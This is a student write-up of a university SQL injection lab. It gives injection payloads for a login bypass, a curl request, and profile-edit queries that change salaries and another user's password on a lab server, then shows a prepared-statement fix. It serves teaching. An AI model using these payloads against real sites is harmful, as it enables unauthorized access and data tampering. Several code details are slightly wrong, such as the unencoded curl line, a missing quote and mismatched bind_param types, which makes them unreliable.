SQL Injection Lab Writeup

Ethical Hacking 2022/23, University of Padua

Eleonora Losiouk, Alessandro Brighente, Gabriele Orazi, Francesco Marchiori

---

1 Task 1

To print all the profile information of just one employee, you can use the following command:

```
SELECT * FROM credential WHERE Name='Alice';
```

2 Task 2

2.1 Task 2.1

In order to perform the attack from the webpage, we need to login with the `admin` user without knowing its password. What we can see from the code snippet is that the `$input_uname` variable will hold the value of what we type in the username box in the webpage. We can use this to our advantage and put a useername something like `admin'#`, where the `#` sign is used for comments in SQL. In this way, the SQL query will look something like this:

```
WHERE name='admin'#' and Password='$hashed_pwd'";
```

which will be interpreted as just

```
WHERE name='admin'
```

2.2 Task 2.2

To perform the attack from the command line and thus using `curl`, we can use the same approach.

```
curl 'www.seed-server.com/unsafe_home.php?username=admin'#&Password='
```

where the `'` and `#` symbols have been switched with `%27` and `%23` respectively.

2.3 Tasl 2.3

We can try to delete Boby account by inputting the following as username in the webpage:

```
admin'; DELETE FROM credential WHERE name='Samy'";#
```

However this does not succeed because of SQL's `mysqli` extension, which prevent multiple queries to be run in the server.

3 Task 3

3.1 Task 3.1

By assuming that Alice knows that salaries are stored in a column called `salary`, she can input in one of the profile edit boxes the follwing:

```
', salary='999999
```

If for example Alice put this in the NickName box, the query will be:

```
$sql = "UPDATE credential SET nickname='', salary='999999',email='$input_email',address='$input_address
```

3.2 Task 3.2

To modify other people salary we can use the same profile edit box to input something like:

```
', salary=1 WHERE Name='Boby';#
```

In this way the query will be:

```
$sql = "UPDATE credential SET nickname='', salary=1 WHERE Name='Boby';
```

and the rest will be commented out.

3.3 Task 3.3

As stated, passwords in the `unsafe_edit_backend.php` code are stored using an SHA1 function. For this reason, if we want to change Boby password with `ireallyhateboby`, we must first compute its SHA1 hash. To do this, we can save the password in a `txt` file and use the `sha1sum` command in the terminal (or with any other tool). Finally, to perform the attack we can input the following in the NickName box of the edit profile page:

```
', Password='aac414c6505bac44dc1cfa2620e7b1f1b2b6bcf4  WHERE Name='Boby';#
```

4 Task 4

We can change the `unsafe.php` code by substituting line 25-27 to:

```
$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, nickname, email, address, phoneNumber
                        FROM credential
                        WHERE name = ? and Password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $input_name, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $nickname, $email, $address, $phoneNumber, $
$stmt->fetch();
```

We can then verify that the attack is now unsuccessful.